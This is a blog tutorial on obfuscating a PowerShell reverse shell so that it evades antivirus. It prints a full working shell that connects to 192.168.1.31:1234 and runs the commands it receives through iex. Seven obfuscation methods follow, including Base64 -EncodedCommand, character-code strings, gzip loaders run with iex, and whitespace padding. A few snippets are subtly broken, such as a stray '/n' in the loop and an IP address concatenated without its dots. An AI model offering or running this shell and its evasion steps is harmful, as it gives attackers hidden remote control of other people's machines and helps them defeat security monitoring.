Blogs
How to Obfuscate a PowerShell Script to Evade Antivirus and Obtain a Reverse Shell
How to Obfuscate a PowerShell Script to Evade Antivirus and Obtain a Reverse Shell
Introduction
The below PowerShell script is a reverse shell script. Reverse shells are commonly used in penetration testing and by attackers to gain access to a system by initiating a connection back to a remote server. In the script, a connection is made to a specific IP and port, commands are executed locally, and the results are sent back over the network to the attacker or server. Obfuscation is the process of deliberately making code difficult to read and understand while maintaining its functionality. Obfuscating a reverse shell script or any potentially malicious script is a tactic to avoid detection by security tools and to hinder human analysis.
Reverse Shell Script
$hi = New-Object System.Net.Sockets.TCPClient('192.168.1.31',1234);
$ste = $hi.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $ste.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex '. { $data } 2>&1' | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$ste.Write($sendbyte,0,$sendbyte.Length);/n $ste.Flush();
};
$hi.Close();
Ways to Obfuscate the Script:
1. Variable Renaming:
Rename variables to random, meaningless names to make the script harder to understand.
$a = New-Object System.Net.Sockets.TCPClient('192.168.1.31',1234);
$b = $a.GetStream();
[byte[]]$c = 0..65535|%{0};
while(($d = $b.Read($c, 0, $c.Length)) -ne 0)
{$e = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($c,0, $d);
$f = (iex '. { $e } 2>&1' | Out-String );
$g = $f + 'PS ' + (pwd).Path + '> ';
$h = ([text.encoding]::ASCII).GetBytes($g);
$b.Write($h,0,$h.Length);
$b.Flush();}
$a.Close();
2. Base64 Encoding:
PowerShell can execute Base64-encoded commands using the -EncodedCommand flag. First, convert the script to Base64: 1. Save the script to a .ps1 file. 2. Run the following command in PowerShell to encode it:
$command = Get-Content .your-script.ps1 | Out-String
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
Write-Output $encodedCommand
Then, the encoded script can be run using:
powershell -encodedCommand <Base64String>
3. String Manipulation:
Break up important strings, like IP addresses, function names, and ports, into parts and concatenate them at runtime.
$ip = ('192'+'168'+'1'+'31');
$port = (1200 + 34);
$a = New-Object System.Net.Sockets.TCPClient($ip, $port);
4. Using Alternate Character Encodings:
You can use character codes or alternate encoding methods to represent strings.
Example using character codes:
$ip = ([char]49+[char]57+[char]50+'.'+[char]49+[char]54+[char]56+'.'+[char]49+'.'+[char]51+[char]49);
$port = 1234;
$a = New-Object System.Net.Sockets.TCPClient($ip, $port);
5. Use Compression:
You can compress the script and execute it dynamically after decompression.
• Compress the script using Gzip:
$original = 'Your script here...'
$bytes = [System.Text.Encoding]::UTF8.GetBytes($original)
$ms = New-Object IO.MemoryStream
$gzip = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Compress)
$gzip.Write($bytes, 0, $bytes.Length)
$gzip.Close()
[Convert]::ToBase64String($ms.ToArray())
• At runtime, decompress and execute it:
$compressed = 'Base64 string of compressed script';
$bytes = [Convert]::FromBase64String($compressed);
$ms = New-Object IO.MemoryStream($bytes);
$gzip = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress);
$reader = New-Object IO.StreamReader($gzip);
$script = $reader.ReadToEnd();
iex $script;
6. Custom Encoding:
Create a custom encoding/decoding function that transforms the script. For example:
$encodedCommand = 'AbcDefGhI';
$decodedCommand = $encodedCommand -replace 'A','p' -replace 'b','o' -replace 'c','w';
iex $decodedCommand;
7. Random Whitespace Insertion:
You can add random spaces, tabs, and newlines, which PowerShell will ignore but make the script look messy and harder to read.
$a = New-Object System.Net.Sockets. TCPClient( '192.168.1.31', 1234);
$b=$a . GetStream();
[byte[]]$c = 0..65535 | % { 0 };
By using a combination of these techniques, you can significantly obfuscate your PowerShell script. However, keep in mind that determined security professionals can reverse most obfuscation techniques. Obfuscation is not encryption; it only hides the intent of the script, not its functionality.